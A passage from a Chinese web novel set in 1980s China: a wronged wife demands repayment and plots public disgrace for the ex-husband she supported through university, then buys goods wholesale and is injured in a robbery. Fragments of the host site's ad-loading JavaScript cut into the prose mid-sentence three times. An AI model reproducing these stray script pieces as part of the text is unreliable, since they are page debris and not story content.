怪不得原主陷进了他的陷阱当中,她面上继续维持悲伤模样,内心却撇嘴,骂了句,“斯文败类!” 罗森已经有四年没见林沐瑶了,没有想到妩媚动人的林沐瑶,竟然憔悴成这副模样,干瘦枯黄,满脸风霜,哪里还有以前的妩媚动人? 他本来还为当初没有碰林沐瑶遗憾,现在看她这副丑样子,遗憾顿时跑光了,如今只剩下浓浓的嫌弃,要家世没家世,要文凭没文凭,要美貌没美貌,这样的人哪里配得上自己。 还没有走近,他就怒气冲冲地质问:“你来干什么?还有谁让你冒充我爱人的?” 林沐瑶气地咬牙,这个渣男,白瞎了原主对他五六年的付出了。 但面上却是一副肝肠寸断的模样,悲切地道:“罗森,我没同意离婚。” 罗森心里涌上一股优越感,女人的死缠烂打虽然令人厌烦,但也从另外一个侧面证明了自己的魅力。 他抬起下巴,一脸高傲地说:“可如今我们之间差距太大了,我一个大学生,你就一个文盲,没有共同语言,强绑在一起是不会幸福的。” 林沐瑶眼泪涌出眼眶,哽咽地问:“真没有一点儿可能了吗?” 罗森非常坚定地回答:“没有。” 林沐瑶眼泪流得更加汹涌了,哭诉着质问:“你怎么如此狠心,我累死累活,节衣缩食地供了你6年,衣裳破得补丁摞补丁,每天吃饭只吃一顿,还得每天干重体力活儿,累亏了身体,熬短了寿命,好不容易等你发达了,却只等来一句我们不合适,罗森,你的良心呢?” 门岗处的保安们看罗森的目光都变了,罗森虽然刚来单位没多久,但他是大学生,有才华,还是采购部主任的乘龙快婿,而且还进了年底提干的名单,他进单位才几天,就越过了在单位工作了几年的老职工。 多种因素加在一起,他在单位里也是一个不大不小的名人,羡慕眼红他的人不少。 但罗森在单位里工作认真,为人处事还算谦逊,再加上来单位也没多久,还真抓不到他的小辫子。 可今天却爆雷了,罗森竟然在农村结过婚,而且还靠女人养不说,一发达就抛弃糟糠妻,攀高枝,这不是陈世美吗? “没想到罗森竟然是这种人,你说赵碧云知道吗?” “先前大半不知道,就是不知道他知道了罗森的事,会不会跟他离婚?” 保安们的议论很小声,但罗森还是能够感觉到他们在谈论他,他年底就要提干了,现在可不能出差错。 他阴沉着脸,看着林沐瑶,质问:“你到底想干什么?” 林沐瑶也不再啰嗦了,直接说了自己的诉求,“离婚可以,但你得还钱,还我这些年供养你的钱,另外还得付给我精神损失费,否则我就去告你骗婚。” 罗森拿眼睛上上下下地打量了林沐瑶一遍,嗤笑道:“就你这副鬼样子,瞎子看了,都不会骗婚。” 林沐瑶眼睛顿时红了,气的,她抬手颤抖地指着罗森,质问:“我这样还不是为了养活你,你说这话不亏心吗?” 眼角余光看到有人向这边走来,还一脸看好戏的样子,林沐瑶就是他的污点,他怕被人知道了,便想赶紧打发走林沐瑶,便敷衍道:“我现在正在上班,有事等我下班了再说。” “不能。” 林沐瑶一口拒绝了他,“给我两千块,我立马走人,否则你曾经写给我的信,还有我给你汇钱的票根,我会交给你的领导,你领导不管,我就去找公安,公安不管,我就去报社曝光你,报社不管,我就拿着绳子来你们单位上吊,我就不信我找不到能够说理的地方。” 罗森气得脸都红了,瞪着眼睛盯着她,眼珠子都要爆出来了,并且怒道::“你什么时候变成了泼妇模样,我们以前是夫妻,财产共有,没听说离婚还要还婚内的花销的。” 林沐瑶脸色一冷,开始讲道理,“那也是夫妻双方一起挣钱,而我们却只是我一个人挣钱,而且我们结婚后,并没有发生过关系,又是我一直供养家庭,你没有给过我一分钱,所以你不是骗婚是什么,识相地就赶紧还钱,否则我光脚的不怕穿鞋的。” “你不可理喻。” 罗森指着她的鼻子骂道:“张嘴闭嘴都是钱,市侩又俗气。” 林沐瑶冷笑:“那也比你骗婚,吃软饭,还不承认强。” 然后又威胁道:“你到底还不还钱,不还钱,你就等着身败名裂吧。” 罗森见她是认真的,怒问:“你真就一点感情都不讲了吗?” “哈哈哈!” 林沐瑶气笑了,反问:“那请问你对我讲感情吗?你要是讲感情,就不会让我熬亏了身体也要供养你体面生活,你要是讲感情,就不会一毕业,就过河拆桥跟我离婚,罗森,你不配跟我提感情俩字。” 罗森见同事离他越来越近,心里着急,没心情跟林沐瑶争辩,便没好气道:“我没那么多钱。” “这不关我的事,反正我是只要拿到钱,拿不到钱我就闹。” 林沐瑶冷声道:“你回去赶紧筹钱,我只给你两天时间,两天后,我会再来,如果到时候没见到钱,咱们就同归于尽。” 说完她看了眼罗森黑漆漆的脸色,又瞟了眼快要走到跟前的吃瓜群众,爽快转身离开,如今不是报复罗森的时机,等她拿到了钱,再来收拾他,要不然他啥都没有了,索性破罐子破摔不还钱咋办? 如今他有工作,还有可以期待的大好前程,心有顾忌,就不敢跟她硬刚。 而她离开后,罗森的同事也终于走了过来,其中一个年轻男同志,好奇地问:“罗同志,刚才那个人是你爱人?你不是跟赵同志在处对象吗?” 这个男同志名叫蒋斌,跟罗森是同一届大学毕业生,但他是海城师范大学的学生,俩人一起分配到百货大楼,还在同一个部门。 但是罗森交往领导闺女,被领导重视,又要被提干,而他虽然也不错,但谁愿意被人压一头,特别是被起点一样的人压一头。 他一直想抓罗森的小辫子,但就是抓不到,这次听说罗森的爱人来了,他赶紧处理了手里的工作,跑到现场吃瓜。 但显然他迟了一步,那个土了吧唧的女同志离开了,他失望不已,他还想现场观看俩人之间的冲突呢。 而罗森自然也知道蒋斌的不怀好意,他微微一笑,道:“我以前是结过婚,但已经离婚了,碧云也知道的。” 他说的是实话,他跟赵碧云处对象的时候,就如实地交待了自己的感情经历,比如他在农村结婚的事。 但他的说法却是半真半假,他说当初之所以结婚,是林沐瑶落水,他恰巧路过救了她,给她做了心肺复苏和人工呼吸,农村思想落后又封建。 他们把急救手段当作了非礼女同志的行为,认为他玷污了林沐瑶的清白,他如果不娶林沐瑶,她的处境就会非常糟糕,会被亲爹妈嫁给一个老头子,他不得已娶了林沐瑶。 而他还发誓:“我虽然不得已娶了林沐瑶,但是却没有碰她,我娶她,只是为了救她。” 赵碧云对于他的说法半信半疑,但罗森长得好,又有才华,虽然是二婚,但没有孩子,跟她的情况差不多,重要的是罗森很会讨她欢心,带出去特别有面儿,她也就接受了他结过婚的事实。 所以罗森并不怕赵碧云知道,他怕的是林沐瑶手里头的书信,以及汇款单的票根,这些一曝光,他甭说提干了,指不定还会被开除。 蒋斌这边兴冲冲地来看笑话,却什么也没有看成,失望之余看罗森脸上的笑容便格外刺眼,但还是尴尬地笑了笑,“那就好,那就好。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>其他人见没有热闹看,也失望地回去了。 只有俩保安神色复杂地看着罗森,他们没有想到罗森竟然骗婚吃软饭,还不认账,简直不要脸。 罗森抿了抿唇,从兜里掏出一盒中华烟,走过去递给保安,“张同志,刘同志,刚买的烟,我不爱抽这个牌子的,你们可抽得惯?” 中华烟是华国最好的烟之一,就算是在海城,也不好买,他们怎么可能不喜欢,张瑞赶紧伸手接过,“抽得惯,抽得惯。” 然后又问:“这烟多少钱,我拿给你。” 罗森笑着道:“算什么钱,这烟我不爱抽,你们接了,也是帮我。” 张瑞不好意思地笑道:“这怎么好意思。” “你们安心接着就是。” 罗森再次劝了句,便开口说自己的目的,“刚才的事,希望两位同志不要往外说,这里面有很多内情,并不是你们刚才听到的那样。” 张瑞心里撇嘴,面上却带着笑容道:“我什么也没有听到。” 他又用肩膀撞了撞同伴的肩膀,“刘宇,你听到什么了?” 刘宇也赶紧道:“我什么也没听到,刚才我不是跟你在听收音机里播的戏吗?” “对对对,我们刚才在听戏,什么也没听到。” 张瑞附和道。 罗森这才满意离开,而他一离开,张瑞和刘宇交换了一个眼神,均朝着罗森的背影翻了一个大白眼。 张瑞边跟刘宇分中华烟,边不屑地说:“没想到罗森竟然是这种人,你说赵主任知道了,还肯让闺女嫁给他吗?” 刘宇拿起一根香烟放到鼻子下面吸了吸,不在意地回道:“那是人家赵主任的事,咱们管不着,还是这烟划算,我可是听说罗森随身带两包烟,一包大前门,一包华子,普通同事递大前门,领导就递华子。” 张瑞撇嘴:“人品不怎样,脑子倒是好使。” 再说罗森并没有回自己工作岗位,而是去了财务部找赵碧云,他要跟她汇报林沐瑶来了的事。 赵碧云听说后,不在意地道:“她这是不同意离婚,想要继续纠缠你,你打发了她就是。” 她内心其实还有些隐秘的愉悦的,能让其他女人念念不忘,说明罗森优秀,但这么优秀的罗森却钟情于她,这不说明她更加优秀吗? 而罗森长长地叹口气,“她找到我威胁我,要么跟她回去,要么就给她2000块钱,否则就去公安局告我骗婚。” 赵碧云仍然一副不在意的模样,随口回道:“那就去让她告呗,反正当初你也是为了救她,才跟她结的婚。” “唉!” 罗森再次叹口气,开始睁着眼睛说瞎话:“但是我花过她的钱,恢复高考后,我为了考大学努力学习,没有上工,她算是供养了我两年,如果她拿这事到公安局说,我百口莫辩啊。” “那你还救过她呢,她供养你两年怎么了,还能有她的命珍贵?” 赵碧云反问。 罗森苦笑:“可公安局不看这个,我确实花了她的钱,也确实没有跟她发生关系,不好说啊。” 赵碧云眼睛亮了,看罗森的眼神充满了柔情,原来罗森没有骗她,他是清白之身,高兴之下,人也跟着大方了,“我手头有一百块,你先拿去应急。” 罗森笑容更加苦涩了,“我手头也只有两百块,这才三百块,离两千块差远了,林沐瑶一定不答应。” 赵碧云冷声道:“她只供养了你两年,而且你还救过她的命,三百块已经不少了,如果她再不满意,咱们还要告她讹诈呢。” 要是只这样就好了,罗森内心着急,面上却不能显示,说了让林沐瑶给他汇大学生活费,赵碧云的爸知道了,肯定不会同意赵碧云嫁给他的。 他该怎么凑够两千块啊,他内心又急又恨,恨林沐瑶绝情,两千块不是小数目,就是他们全家的家底都算上,也凑不出这么多钱,他该怎么办? 19. 遗臭万年 林沐瑶从百货大楼离开后,便提着行李去找住宿的地方,在海城人生地不熟的,她想了想最后还是找了公安局附近的旅馆,虽然价格上贵了那么一点但是安全无价。 她提着行李,刚打开住宿地房间,正准备去找前台要点水,“咕噜噜~”,一阵肠鸣在安静的房间里响起。 在火车上,她虽然买了火车上的米饭,但是火车上的饭菜味道不好,她没吃好,到了海城后,又折腾了一大圈,肚子里本来就不多的食物,早就消化完了。 她放下行李,去前台要了热水,先用自己带来的搪瓷杯喝了一杯水,然后又洗漱了一番,才出门找食吃。 海城比起安平县来经济更加繁荣,路边街头的小吃摊,餐馆数不胜数,现在已经是晚饭时间,做吃食生意的已经把晚饭摆上了桌,她走在路边,鼻子里充斥着食物的香气,肠鸣也更加频繁且响亮。 但走来走去,她就是不清楚要吃什么,肚子很饿,却没有食欲,大概是饿过头了,最后她走进了一家面馆,点了一碗阳春面,才花了一毛钱,一毛钱在后世还不清楚能不能买到一根面条。 虽然配菜只有葱花,但汤鲜,面条也比较劲道,她吃着吃着胃口倒是打开了,又出去点了一份生煎,美美地吃了一顿,这才回了旅馆,一路奔波,满身的疲惫,她累了,迫切地需要睡眠。 就在她休息的时候,百货大楼下班了,罗森这次没有邀请赵碧云去下馆子吃晚饭,而是直接回了家。 回到家,看到自己亲妈就问:“妈,今天可有人来家里找过我?” 他亲妈叫王慧珍,是个面容瘦削,看着有些刻薄的女人,她此刻正在厨房做饭,一边挥舞着铲子,一边随口回道:“没有啊。” 罗森眉头皱了皱,他确定自己毕业后,没有跟林沐瑶说过自己现在的地址,就是当初在牛角岭大队一起插队的知青,他也都没有联系,更甭提牛角岭大队除开林沐瑶之外的人了,所以林沐瑶到底是怎么知道他的工作单位地址的? 他拧眉沉思,扒拉着他和林沐瑶之间的联系,共同的朋友没有,那么林沐瑶唯一知道的,跟他有关系的地方,就剩下海城大学了,学校的老师和学弟学妹们肯定知道他的工作单位地址。 他心头一跳,林沐瑶不会在学校里败坏他的名声吧? 老师和同学可是他人生当中最优质的人脉资源,如果让他们知道了他那不堪的过往,以后他就失去了很多助力。 他咬牙发狠,“林沐瑶,你最好没乱说,否则别怪我心狠手辣。” 他也在家呆不住了,骑上自行车往海城大学而去,直接去找了彭泽教授,彭泽教授看到他,便冷了脸,开口就问:“你爱人林同志去找你了吗?” 罗森心一沉,林沐瑶还真来海城大学了,他抿了抿唇,回道:“我跟她见过面了。” “你打算怎么办?” 彭泽又问。 罗森见他神色不佳,心里一沉,莫非林沐瑶在老师这里坏他名声了? 他试探地问:“教授,我跟林沐瑶之间误会颇多,并不是她说的那样不堪。” “哼!” 彭泽冷哼一声,问:“那你拿了她卖命工作挣的钱,有没有这事?” 想到林沐瑶手里的书信还有他们之间的汇款单票根,他没抵赖,但还是替自己分辨道:“教授,我真不知道她给我汇的钱,是她那么辛苦挣来的,要不然我肯定不会收的,而且我昨天见她之后,也答应还她了。” 彭泽不确定地问:“真的?” 罗森点了点头,厚着脸皮给自己加戏,“当然,而且还加了利息给她。” 彭泽这才满意,语重心长道:“感情不合是可以离婚,但人家女同志为你付出良多,就算离婚也不能亏待了人家。” 罗森赞同道:“我会的。” 但心里却在发狠,林沐瑶好狠,来到他的母校乱说,这是想要毁了他啊,他怎么没发现她这么有心机。 他此刻恨极了她,有种鲨人灭口的冲动,但是他不敢,钱没了可以再挣,可一旦犯罪,他这辈子就完了,为了2000块钱,不值得他去搭上一辈子。 他从海城大学出去,便开始到处借钱,他现在心里头就一个念头,赶紧把林沐瑶打发走。 比起他劳累奔波,林沐瑶就舒坦了,她躺在旅馆的床上,睡得香喷喷的,不过她手两边,再加上头顶和脚底,都放着刀片,争取做到有危险时,能够摸到哪怕一块刀片,虽然现在正严打,又住在公安局旁边,但小心无大错。 她一觉天亮,第二天一早,她起床洗漱后,便去外面找饭馆吃了早饭,然后便打算坐车去罗森爸妈家。 在学校坏了罗森的名声还不够,她还要罗森在自己家附近再次臭了名声,她此刻就是要去打听打听罗家的名声。 不过她先去附近的农贸市场买了十斤白菜,打算扮成卖菜的菜贩子打听情况,买好白菜后,她便去了公交车站。 她站在公交站牌下面等公交车的时候,一辆汽车从她身边略过,车里副驾驶上坐着一个西装革履的精英男青年。 他本来在跟后座的杨总说话,眼角余光竟然瞥到了林沐瑶,他惊讶地瞪大了眼睛,用手指着林沐瑶,看向杨总,问:“杨总,那是不是乞丐小姐?” 杨总扭头看了看,还真是林沐瑶,她怎么来海城了? 但这不关他的事,他只是淡淡地看了眼,便移开了目光,然后不满地纠正道:“华国都称呼同志,还有她不是乞丐。” 听出了杨总的不满,季晖赶紧道:“是乞丐,不对,是安平县的女同志。” 话说他们虽然见过几面,但他至今不知道那位女同志的姓名,能够在海城相遇,他们也算有缘分,下次碰见了,他无论如何都问一问那位女同志的姓名。 他又问:“杨总,我们什么时候回安平县?” “在海城停几天再说。” 杨总淡淡地道。 季晖点了点头,“我们是该晾一晾安平县那边,您拿回祖产,又不是白拿,又给补偿,又给安平县投资的,他们竟然拿乔。” 杨总抬头看向前方没说话,安平县的进展不顺利,他先去了京城,后又来了海城,一来是为了考察市场,二来就是抻一抻安平县的人。 杨家大院,他是必须要拿回来的,这是祖产,无论如何都不能够拱手让人。 坐在驾驶位上的司机问:“杨总,我们直接去酒店吗?” “嗯。” 杨总淡淡地嗯了一声。 这边林沐瑶也坐上了公交车,公交车上人满为患,她连个吊环都没有能够拉上,只能挤在人群当中,随着车子跟漂浮的海浪一样,来来回回地飘荡。 坐了差不多有十站地,才到了罗家所在的弄堂附近,她并没有去罗家,而是挎着篮子,开始吆喝,“大白菜,水灵灵的大白菜。” 有附近的人听到了,便出来询问:“白菜怎么卖?” “两分钱一斤。” 林沐瑶笑着回道。 来人少不得又讨价还价,最后还价到五分钱三斤,虽然便宜了,买菜时候还挑挑拣拣,林沐瑶目的不在挣钱,随便他们,趁着这几人高兴,便往百货大楼引,然后大爷大妈们的话匣子打开了,说起了罗森。 “小罗啊,好厉害的,不仅是大学毕业,还谈了领导闺女做对象。” “哼,罗家人可神气了,以前还和气,自从小罗大学毕业,到百货大楼工作,又谈了单位领导闺女做对象,下巴都抬上天了。” 听着他们的讨论,林沐瑶基本确定罗家人在邻里之间的名声并不好,她报复起来也容易。 她心里有底后,便去了海城的服饰批发市场,这里不愧是海城,批发市场衣服款式多样,呢你大衣、西装、夹克衫、毛衣裙、牛仔裤、中山装等等都有。 前面那些款式时髦的她直接略过不看,安平县城只是内地的一个小县城,虽然改革开放可,但经济水平没上去,民风还相对保守。 虽然也有人穿着时髦,但是大家的穿着还是以简单大方为美,呢子大衣绝对没有中山装受欢迎。 她特地去看了中山装,已经过了中秋,天气渐渐变冷,她如果要批发中山装,就得要厚实面料,她最后选用了哔叽呢面料的。 她询问价格后,老板直接报价,“批发50件,30块一件,100件,27块,不还价。” 这中山装回去至少卖50块一件,那么她一件至少挣20块,100件就能挣2000块,她咽了咽口水,八十年代做倒爷真特么挣钱,想她累死累活地卖烩菜,累得浑身都快虚脱了,一天才挣60块。 她轻轻地吐口气,虽然倒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 卖衣裳挣钱,但是需要投入的资金却多,100件中山装就得付给2700块,就算讨价还价,怎么也得2000块,她哪里有那么多钱。 “明天一定要让罗森还钱。” 她内心暗自道。 然后又去看了其他的配饰,比如年轻女孩围的围脖,她没看围巾,直接去看了毛线,现在的女同志大都会织毛衣,那么织围脖也是手到擒来。 她把围脖的款式记住了,回去后找人织围脖,或者织成毛衣来卖,比直接批发成品毛衣或者围脖挣钱。 转悠了一圈,在一家颜色丰富的毛钱摊上停住脚步,问:“毛线怎么卖?” 摊主面带笑容地回道:“我们家毛线是全毛的,二十五元一斤。” “太贵了。” 林沐瑶讨价还价,“我们那里的百货大楼零售价才二十,十五块一斤,我要十斤。” 摊主拿起自己的毛线,还价:“你瞅瞅,我们家的毛线真的是全毛的,不掺假,二十五块不贵,这样你要的多,算你二十块一斤。” 林沐瑶笑着道:“老板,薄利多销,如果便宜,咱们指不定还能做长久生意。” 摊主也是做久生意了,一听话音就知道林沐瑶打算,她是打算回去加工毛衣卖,或者就是做二道贩子。 他最喜欢这样的顾客了,进货量大,他赚得也比较多,于是笑着道:“看同志也是实在人,一斤十五块五,不能再少了。” 林沐瑶得偿所愿,开始吹彩虹屁,“老板心肠好,肯定能生意兴隆。” 被夸了,老板也高兴,笑着道:“同志记得多多光顾我这里就好。” 林沐瑶笑着承诺,“肯定。” 付了155块,林沐瑶手里的钱几乎全部花了出去,这可是她披星戴月,一颗汗珠摔成八瓣挣来的。 提着毛线回了招待所放下,便起身去了海城大学,她要找昨天给她带路的那个女学生靳嘉,她有个计划,需要她帮忙。 靳嘉看到她非常意外,“你怎么来了?” 林沐瑶微微一笑,“有事找你帮忙。” 经过昨天一晚上的沉淀,靳嘉已经完全接受了她的罗师兄是个伪君子加软饭男的现实,林沐瑶是个受害者,她不应该对她有意见,不仅如此,她还应该帮助她,帮她向罗森讨公道。 此刻自然也不会拒绝她,问:“什么忙,我能帮,绝对帮。” 林沐瑶微微一笑,“这事儿说来话长,咱们边吃边聊,我请你吃饭。” 靳嘉看了眼她朴素的穿着,干瘦的身材,动了恻隐之心,开口道:“我请你吧。” 林沐瑶自然不肯,“我求你帮忙,哪里有让你请客的道理,放心,我有钱。” 靳嘉这才跟着她出去,选了一家面馆,点了一碗便宜的阳春面,林沐瑶心微暖,点了俩小炒,还出去买了生煎。 靳嘉想阻止都不能够,林沐瑶笑着安慰:“不用担心,我没你想象的窘迫。” 靳嘉这才放心,等都坐下后,便问:“现在可以说什么事儿了吗?” 林沐瑶这才把目的说出来,“前些年轰轰烈烈的上山下乡,后来知青又纷纷回城,这其中的生死离别,爱恨情仇,比电影都精彩,靳同学,你是中文系的学生,就没有想过把这些事写出来?” 靳嘉明白了,她问:“你是想让我把你跟罗师兄的事写出来发表?” 林沐瑶点了点头,继续说:“难道你就不想为因为时代悲剧,因为人性自私,而被抛弃的妻子、丈夫,甚至孩子们发声?他们没有做错任何事,却被时代洪流裹挟,成了牺牲品。” 靳嘉还年轻,内心有热血,被这么一激,她圆圆的脸上立刻露出了坚定的神情,“我写。” 林沐瑶笑了,她不仅要罗森臭名远扬,还要他遗臭万年,她在海城再折腾,也就让他在海城范围坏名声。 而让一个人彻底身败名裂最简单的办法,就是通过文学作品,君不见陈世美,就因为得罪了读书人,好好的一个人,却被骂了几百年。 她边吃边跟靳嘉讲了原主和罗森的故事,靳嘉听得气地恨不得去砸罗森砖头。 俩人一共谈了差不多一个小时,这才分开。 回去的路上,林沐瑶轻吐一口气,明天就能从罗森手里拿钱了,拿了钱,她就能够把罗森彻底打进烂泥地里了。 20. 林沐瑶受伤 林沐瑶在旅馆又美美地睡了一觉,第二天早起,她起床把头发编成一个低马尾,又往脸上擦了点雪花膏,这才出门去找罗森。 罗森今天脸色非常不好,白皙光泽的脸有些蜡黄,哪怕戴着眼镜,也没有能够遮挡他眼底的青黑。 自从见过了林沐瑶后,他就到处找朋友借钱,以前他觉得自己人缘挺好的,可老话说的好,患难见真情,以前你好我好大家好,一片其乐融融。 可真到了他困难的时候,肯伸出手帮忙的几乎没有,好一点的人诉说了一通自己的困难之后,借给他五块钱或者十块钱。 更甚者有人不仅不借钱,还数落他一番,“有多大本事,就办多大事,你就是假大方,别说你对前妻还有救命之恩,就是什么都没有,你也不用付这么多赡养费吧。” 当着他的面这么说还是好的,等他离开后,便在背后开始诋毁他,“离婚给前妻那么多赡养费,肯定做了缺德事,这样的人就是有钱也不敢借给他。” 他气地想要回去把人揍一顿,但是最后忍住了,他现在正是艰难时刻,如果回去真把人揍了,这事传扬开来后,朋友圈的名声就彻底坏了,再没有人借给他钱了。 他忍!等他以后发达了,定要好好地把今日受的欺辱全部还回去。 奔波了两天,他心力交瘁,脸上冒痘,嘴巴起泡,也就凑1000块钱,离林沐瑶要的数目,还差了一半,他心里非常不踏实,就怕林沐瑶翻脸,跟他在单位大吵大闹。 他的名声,他的提干机会,甚至于他现在的对象,都会离他而去。 他低着头,沉着脸,提着心,骑着车来到百货大楼,刚到门口,就看到了那个让他恨得牙根痒痒的人。 一大早就过来,这个女人还真迫不及待啊。 他黑沉着脸,从自行车上下来,然后推着走到了林沐瑶身边,冷声道:“你就这么迫不及待?你什么时候变得这么拜金了?” 林沐瑶神色瞬间变成了冰碴子,语气冰冷地道:“从你一毕业,全然不顾我五六年的付出,寄了一封轻飘飘的信开始,我就知道感情最是靠不住,钱能够让我过好日子。” “你……” 罗森气得词穷,不知道该如何反驳,只能瞪大眼睛瞪着她。 而林沐瑶也瞪大眼睛回瞪他,比谁眼睛大吗?比就比! 然后她小手一伸,手心向上,“钱呢?” 罗森神情僵硬,抿了抿唇,“只有1000块。” 林沐瑶狐狸眼一瞪,再次威胁道:“两千块,少一分都不行,否则我不介意鱼死网破!” 罗森气得呼吸都粗重了,他看了眼远处又来了两个同事,现在正是上班时间,门口人来人往,他要是在这里跟林沐瑶争执,对他很不利,他拽着林沐瑶,“走,我们找地方说。” 钱没有拿到,林沐瑶还不想跟他闹太僵,便顺着他的力道,跟他一起到了一个偏僻的地方,而刚到地方,他就开始质问:“林五丫,当初你爸妈想把你嫁给一个爱打老婆的,还带着三个孩子的鳏夫,要不是我,你早就被卖了,我对你怎么说也有恩,你非要这么无情吗?” “哈哈哈!” 林沐瑶气极大笑着质问:“你那哪儿是救我,分明就是你不想干农活,想找一个免费劳动力供养你,其他姑娘的父母看出了你的算盘,把自家姑娘看的紧紧的,也就我傻,傻傻地掉进了你的陷阱,却还以为你是救赎,任劳任怨供养你,可结果呢,你过河拆桥,先前用我钱的时候,不说我们不合适,毕业了,能挣工资了,我们就不合适了?” 说了一大通,她嗓子都累了,深吸一口气后,再次大声威胁,“反正2000块,少一分钱,你就等着身败名裂吧。” 说完扭头就要走,罗森赶紧拽住她,“再给我两天时间。” 林沐瑶伸出一根手指头,“就一天!” 罗森眼睛直勾勾地盯着林沐瑶,幽幽地问:“瑶瑶,我真怀疑你到底有没有爱过我?” 林沐瑶冷声反问:“那你呢,真心爱过我吗?甭用谎话来敷衍我。” 罗森眼神闪了闪,还是说了句,“爱过。” “有些人说谎话真是眼睛都不眨。” 林沐瑶讽刺道,然后再次威胁:“别以为套感情,就少还钱,两千块一分都不能少。” 罗森黑了脸,林沐瑶却伸手,“先把1000块给我。” 罗森的脸黑成了锅底,到底伸手把钱给了她,就怕她闹腾。 林沐瑶把钱拿到手里,还特地数了数,罗森没好气地问:“怎么还怕我给你少了?” “那可说不准,我不相信你的人品。” 林沐瑶边数钱边说,成功地让罗森本来恢复白皙的脸再次黑成了锅底。 钱自然没少,数好了之后,她把钱往兜里一装,就准备离开。 “等等!” 罗森喊住了她,“钱收了,给我写个收条。” 林沐瑶笑了笑,“可以。” 她从包包里掏出纸和笔,努力模仿了原主的字迹,写了一个收条,递给了罗森。 罗森接过之后看了看,有些意外,“你的字竟然比以前好看了。” 林沐瑶乜斜他一眼,“甭老是用老眼光看人,这些年不只你学习,我也没放松。” 说完,她把麻花辫一甩扭身走人,这个罗森做事太拖拉了。 她那里怨气满满,罗森这里也是,他真心不明白,那个满心满眼都是他的林沐瑶,怎么变成了死认钱的泼妇。 但他想要前途,就得老实给钱,回到单位,他便去找了赵碧云,找她帮忙,损了一通林沐瑶,又说了钱的事,“还差1000块,不给她就去告我骗婚,咋办?” 赵碧云气得骂起了人,“忘恩负义,你当初怎么救了这么个贱人?” 罗森叹气,“怪就怪我当初太心软了。” 然后又忧伤地道:“可现在怎么办啊?” 赵碧云也没有办法,“我把我身上所有的钱都给你了,我身上也没钱了。” 罗森欲言又止地看了几眼赵碧云,最后赵碧云看不过去了,直接道:“有话就说。” 罗森这才开口:“能不能找你爸妈借点儿,碧云,我会打欠条的,以后肯定会还。” 接着他深情中带着祈求地说:“碧云,现在只有你能够帮我了。” 赵碧云被她看的心软,便点头答应了,“好,我试试。” 罗森正要高兴地道谢,赵碧云又开口了,“但我不可能借到一千块。” 罗森赶紧道:“能借多少就借多少。” 看了看左右没人,他壮着胆子上前抱住了赵碧云,深情地道:“碧云,还是你对我最好。” 俩人在这里你侬我侬,林沐瑶没有闲着,又去开始找挣钱机会了,昨天去的服饰批发市场,倒卖衣裳虽然也能够挣钱,但是衣裳太占地方了,回去的时候就她一个人带不了多少,她瞅一瞅体积小的电子产品,看看有没有合适的? 海城的电器批发市场电器种类并不多,主要还是目前国内的生产跟不上,虽然也有电视机和冰箱等大件的电器,但很少不说,还几乎都是旧的,也就是被人淘汰掉,有人收购了再维修维修,便拿过来卖货了。 这些不好运输,她不做考虑,她目光一直瞄着收音机和电子表这些小物价,收音机虽然比电视机和电冰箱多,但有新有旧,当然也有翻新过,然后当作新机子卖的。 她随便看了看,便直奔电子表而去,她也是看过几本年代文小说的,在七八十年代,电子表可是暴利。 她走到一个货摊上询问:“批发电子表得多少钱一只?” 老板给她比了一个手势,“10块。” 林沐瑶讨价还价,“这也太贵了吧,别人零售价才10块,你批发价就十块,便宜点儿。” “你如果能够批发100只,我算你9块一只。” 老板给她说了一个优惠 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的价格。 林沐瑶还价,“5块。” 老板想了想,又便宜了两块钱,“7块,不能再少了。” 林沐瑶自然不肯,又还了5毛钱,以6块5毛钱成交,她付了650块钱,提了100只电子表。 电子表回去就能够卖15块,一块表能挣8块5,100只就是850,明天罗森再把另外的钱给她,她再批发100只,那么回去一倒手就是1700块。 而剩下的钱,她再全部买成毛线,回去组织牛角岭大队的社员织围脖或者毛衣卖,既能够挣钱,还能够提高她在大队的话语权。 她提着电子表,一边往旅馆走,一边在心里头盘算,突然一阵大力拉扯,有人要夺她的包,她赶紧把包往怀里拽,并且大声喊:“救命啊,抢劫!” 这个年代人身上正义感很重,听到林沐瑶的求救,立刻便有人过来帮忙,那歹徒害怕了,这段时间轰轰烈烈的严打,被抓了量刑都是能从重就从重的,要不是实在没啥花了,他也不会抢劫。 他害怕之下,拿着刀准备劫持林沐离开,林沐瑶哪里会乖乖地被他挟持,开始挣扎,挣扎间胳膊就被歹徒手里的刀给划伤了,鲜血一下子便涌了出来,她的袖子瞬间被血湿透。 “鲨人了!” 不知道谁喊了一声,歹徒又看了看附近围过来越来越多的人,他慌了,赶紧扔了刀,拔腿就跑! “哎哟!” 突然一个身影飞奔过来,抬脚就照着歹徒的肚子踢了一脚,歹徒受不住力,痛呼一声,往后倒去。 那个身影再身手利落地过去,把他的胳膊往他背后一拧,押着他起来。 林沐瑶这才看清楚,是那个给自己钱的精英男,她感激地走过去道谢,“同志,谢谢你。” 季晖笑了笑,“同志,我们又见面了。” 然后他下巴朝着歹徒抬了抬,问:“这人,你打算怎么办?” 林沐瑶不假思索地道:“送公安局。” 季晖点了点头,“好,那就送公安局。” 很快他就惊呼道:“你受伤了。” 林沐瑶点了点头,“不碍事,一会儿去医院包扎就好。” 她不是娇生惯养的人,虽然伤口不小,也很疼,但还在她忍受范围内。 但季晖看着那伤口就疼,“那也得赶紧去医院看看。” 接着他朝着前方喊,“杨总,这位同志受伤了,你送她去医院吧。” 林沐瑶嘴角抽抽,这员工对老板还真不客气,他就不怕被开除吗? 不过杨总还真没有生气,而是走了过来,说道:“同志,我送你去医院吧。” “我自己去就成。” 林沐瑶赶紧道,她自己能够做的事并不想麻烦别人。 但是杨总却道:“我祖籍安平,咱们也是老乡,不用怕麻烦我。” 他都这么说了,林沐瑶便不推辞了,说了声:“好。” 等杨总搀扶着她走向外面的汽车时候,她趁机做了自我介绍,“我叫林沐瑶,同志,方便告诉我你姓名吗?” 杨总面色没有起伏地开口:“杨志彬。” “杨同志好。” 林沐瑶笑着打了招呼。 等上了车,她又好奇地问:“杨同志,你是安平杨家大院的后人吗?” 这件事可是安平县最近一段时间的头条,大家一边猜测杨家人会不会把杨家后人大院要回去,一边又猜测杨家后人会在安平县投资建什么厂? 